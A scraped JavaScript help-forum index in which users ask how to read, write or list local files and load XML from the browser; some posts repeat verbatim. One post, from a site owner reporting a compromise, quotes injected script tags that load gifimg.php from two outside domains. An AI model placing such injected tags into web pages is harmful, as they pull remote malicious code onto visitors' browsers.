Scan Files On A Local Hard Drive?
May 5, 2009
Is there a way to scan files on a local hard drive using Javascript? I'm trying to create a GUI for a program using html and js. As such the html files will only be accessed from the local machine using Firefox. I would like to avoid using server-side scripts, as I want to use this on a computer without server software installed. My overall objective is I want the javascript to scan all files (data plots I've made) in a directory on the local machine. The JS would create a list of possible dates based on which files were found, the user would then select the date which would then display the corresponding plot.
View 4 Replies
ADVERTISEMENT
Jan 9, 2010
Is it possible to download the jQuery API documentation to my local hard-drive? If so, I don't need to connect the Internet every time when I want to refer the API docs.
View 2 Replies
View Related
Nov 17, 2006
We have a directory of files on our ftp server. Is there a javacript to
make a connection to the ftp server and compare files on a local drive
and on the server? Files that have been changed or added need to be
copied across from the ftp server to the local drive.
View 4 Replies
View Related
Mar 30, 2010
I am working on a project in which I will have to generate a .html file and save it to the user's hard drive.
View 5 Replies
View Related
May 3, 2011
I have an html file I've built with embedded Javascript (using ActiveX) that successfully reads a file on my local hard drive when I run the html file through my web browser (IE) locally. However, when I copy the html page up to a webserver and access it through the internet, it doesn't appear to be reading the local file. I'm assuming this can't be done because of security reasons? Am I correct in that? Is there any way using Javascript/ ActiveX that you can get a webpage on the internet to access a file on the visitor's local drive?
View 9 Replies
View Related
Sep 3, 2009
Is there a way to create a new file with JavaScript. I have a script on a local drive and I need to create a file (XML) that i can then read off.Is this possible?
View 1 Replies
View Related
Jul 12, 2011
I think I know the answer to this but I want to ask anyway. There are scores of pages on a particular website that I need to download so I can process them. They would all come down as XML files. I wrote a desktop app a while ago to do this but I was hoping to move this functionality to my website. This is an example of one of the pages I would download/copy:[URL]... A related question is... after I get all of these pages into a folder on my machine... I will need to point JQuery to the folder where they were copied and process each one. Does JQuery have a built in way to open a folder and capture all the files inside so they can be processed? I couldn't find anything like that.
View 2 Replies
View Related
Jan 11, 2010
I need to upload/read an xml from a local drive of any platform (linux, windows, mac) and synchronize it with my web server, which will then update my DB. Local xml file path is predefined and stored in my DB. This is part 1.Part 2, I will have to update the sync(ed) xml and replace the file on my local drive.Part 1 and part 2 will execute in sequence when the user click on a "Sync" button after logged in.Here is what I plan to use, PHP, MySQL, Javascript.What I know so far.1. Due to security reasons we cannot dynamically update the value of the input file type. So setting the known file location is not possible.I will like to know if there is anyway we can upload/read & overwrite a xml file without any middleware like adobe air that needs to be pre-installed to any of the platform to achieve what I plan to do?
View 5 Replies
View Related
Nov 13, 2002
I use NETSCAPE established a catalog page in XML, which uses Javascript-DOM to add, remove and sort the products by their prices. But which Javascript function should I use in order to save the modified page into local hard disk? to sort products as well.
View 1 Replies
View Related
Oct 24, 2011
I am trying todevelop a prototypeto create a new .xml file in my system local drive with the xmllike data populating fromthe below jQuery method. [code]...
View 6 Replies
View Related
Oct 2, 2010
I have the following JavaScript (see below). The script requests an XML file from the server and displays it on the page.The script works fine when the requested XML file is stored on the same server as the script.The problem is when I try requesting an XML file from an external server such as the National Weather Service. I get an error. If I take the XML file from the National Weather Service and save it to my server it works. Why can't I use my script to request XML files stored on external servers?
Javascript Code
Code:
window.onload = initAll;
var xhr = false;
function initAll() {
document.getElementById("makeTextRequest").onclick = getNewFile;
[code]....
View 6 Replies
View Related
Jul 11, 2011
I have Win 7, IE9. I have a HTML file on my hard drive, with Javascript within. When I load the page, it keeps popping up Do u want to allow this content, I have to click to allow. I want to stop this, and after doing some searching I found the setting in Internet Options, Advanced - "Allow active content to run in files on my computer".
Perfect.
Doesnt work. When i check this box, the page loads without the warning, but then the Javascript just doesnt work. Getting quite annoying, because this file is my home page.
View 9 Replies
View Related
Apr 3, 2009
I need to make a page that will make a list of all the files in its folder and display the names of the files on the page. It needs to be able to work offline.
I know how to do this with php server side code, but this needs to be able to run on a memory stick. Is Javascript the best way to do this?
View 2 Replies
View Related
May 18, 2010
My files are not hosted on a server using http. They come with many sound files to practice vocabulary. The problem is that IE8 does not give me the opportunity to load xml course info, I suspect it is because Microsoft might think IE is for network use only (funny they don't think that when MS Word is concerned). Everything works fine in opera and firefox but IE does not give me a documentElemet after loading the xml. Here is some code to reproduce:
Code:
<html>
<head>
[code]....
View 14 Replies
View Related
Mar 30, 2011
I've been working in VBA for quite some time, and would like to make some of my scripts available through a browser. One script will open a text file, parse it, and then commit the parsed results into an object. I can't for the life of me figure out how to do this task in js...
In VBA, the code would be something like:
Code:
View 5 Replies
View Related
Mar 25, 2003
A script to read the current roots directory or filenames-list into a Javascript array?
Some say it is only possible by calling a JAVA applet method and returning the array as a public variable for Javascript to use...if so, has anyone done it and can provide a sample?
I am only trying to read directories & image files offline, on the current root level or perhaps up a folder, so I hope there are no security access issues to deal with.
View 1 Replies
View Related
Oct 27, 2005
is there a way for me to know the location of the client's temporary internet files folder?
View 4 Replies
View Related
Jul 10, 2011
I have Win 7, IE9. I have a HTML file on my hard drive, with Javascript within. When I load the page, it keeps popping up Do u want to allow this content, I have to click to allow. I want to stop this, and after doing some searching I found the setting in Internet Options, Advanced - "Allow active content to run in files on my computer".
Perfect.
Doesnt work. When i check this box, the page loads without the warning, but then the Javascript just doesnt work. Getting quite annoying, because this file is my home page.
View 2 Replies
View Related
Feb 6, 2010
On uploading files (PHP and javascript) to the server from local machine via dreamweaver, Google Chrome reported the presence of malicious codes (like loto-49) inside the server page. Later when I checked, I found that a HTML Code:document.write('....loto-49.com....'); was automatically added at the end of each javascript *.js files. On their removal, the warnings were gone.Recently, they again appeared. Between the closure of the head tag (</head>) and the start of the body tag(<body>) the following code is added automatically:
HTML Code:
<script src=http://hilalgroup.com/images/gifimg.php ></script> <script src=http://pianotainment.com/images/gifimg.php ></script>
[code]....
View 7 Replies
View Related
Jul 11, 2011
I have Win 7, IE9. I have a HTML file on my hard drive, with Javascript within. When I load the page, it keeps popping up Do u want to allow this content, I have to click to allow. I want to stop this, and after doing some searching I found the setting in Internet Options, Advanced - "Allow active content to run in files on my computer".
Perfect.
Doesnt work. When i check this box, the page loads without the warning, but then the Javascript just doesnt work.
Getting quite annoying, because this file is my home page.
View 6 Replies
View Related
Oct 14, 2005
I have a web page (offline) that accesses the user's CD drive to play an audio file on a CD. It uses this routine:
<OBJECT id=player1 height=64 width=160 classid=CLSID:6BF52A52-394A-11d3-B153-00C04F79FAA6>OBJECT>
</font><script type="text/javascript">
document.getElementById("player1").uiMode="full";
document.getElementById("player1").settings.autoStart=false;
document.getElementById("player1").settings.volume=50;
player1.URL=src="file:///"+YouWrote+":/Track01.cda";
</script>
That variable "YouWrote" (the CD Drive letter) is set by a cookie on the page - defaults to "D", but the user can change this, refresh the page, and access the audio in the correctly referenced drive.
Works well - if the page is resident in memory and refreshed if necessary.
My problem is if I put this page on a CD - that is, I want the page to load up from the CD drive - and there's only one drive - it doesn't work.
I can't seem to get the user to be able to choose the drive letter by setting the cookie (or even go with the default), then refresh the page, switch the CD with the Audio CD, and get Windows Media Player to find and play the Track01.cda file.
It chokes because the player says it can't play files with this extension. But it is obviously still thinking about the html file it loaded.
How do I disconnect the knowledge of the loadup CD in Windows Media Player's mind (assuming anything Windows has a mind)? Is there some obvious logical procedure I should follow and/or for the js script?
View 2 Replies
View Related
Jul 23, 2010
I tried to add links to open local xml files in browser in a dynamic table cells. I need help. I tried all ways but I think I miss something.I can open them without table just by document.write(xmlfile location).
function showResultsTable(searched, srchedname) {
// get the reference for the body
var mybody = document.getElementsByTagName("body")[0];
[code]....
View 7 Replies
View Related
Sep 23, 2010
There is a slideshow on my website that reads in the address of local images and puts them in a slideshow rotation to be displayed on the page. I currently have to "hard code" the addresses in, similar to the JavaScript below:
However, I want to be able to place images in the Images directory without having to make sure the files are named the same as in the code. I would like JavaScript to go out to a local directory, see what's in there, grab anything in jpeg format (regardless of the name), and put it in the slideshow rotation.
View 2 Replies
View Related
May 29, 2010
While cleaning my computer, I notice that I have a lot of files that are marked as
LOCAL file under File type. Does anyone have a clue as to how to open these? My cleaning software is flagging these files as files that are junk files that need to be deleted. After looking further, instead of just deleting the files, it is because I have not set any file association to open these files with. Any one have a clue as to which program opens them?
View 1 Replies
View Related
Nov 13, 2003
Here is a simple script to simulate the page being coded as it loads.
Here is the script....
----------------------------------------
<script language="JavaScript">
var x = 2;
var y = 0;
var h = 0;
function LineBy()
{
bodyarray = document.body.innerHTML.split('
');
document.getElementById('mover').style.height = document.body.clientHeight - h;
var currentline = String(bodyarray[x]);
if (currentline.charAt(y) == "<") displayed = "<";
else if (currentline.charAt(y) == '"') displayed = """;
else (displayed = currentline.charAt(y))
document.getElementById('mover').innerHTML+=displayed;
document.getElementById('mover').style.top = parseInt(document.getElementById('mover').style.top) + 2;
if (y <= currentline.length) {y++;}
else {y=0;x++;document.getElementById('mover').innerHTML="";}
if (parseInt(document.getElementById('mover').style.top) >= (document.body.clientHeight-20)) {document.getElementById('mover').style.visibility="hidden";return;}
h = h + 2;
setTimeout('LineBy()',1);
}
</script>
----------------------------------
Place this inside the body tag.
----------------------------------
onload="LineBy()"
----------------------------------
Then include this DIV inside the body tag.
----------------------------------
<div id="mover" style="font-size:7pt; position:absolute;top:0; background-color:FFFFFF; visibile:hidden; width:100%;z-index:5;height:100%"></div>
View 1 Replies
View Related
Feb 15, 2012
i am building an file upload site and want to be able to scan the files on upload for viruses etc.. How would i be able to do this?
View 1 Replies
View Related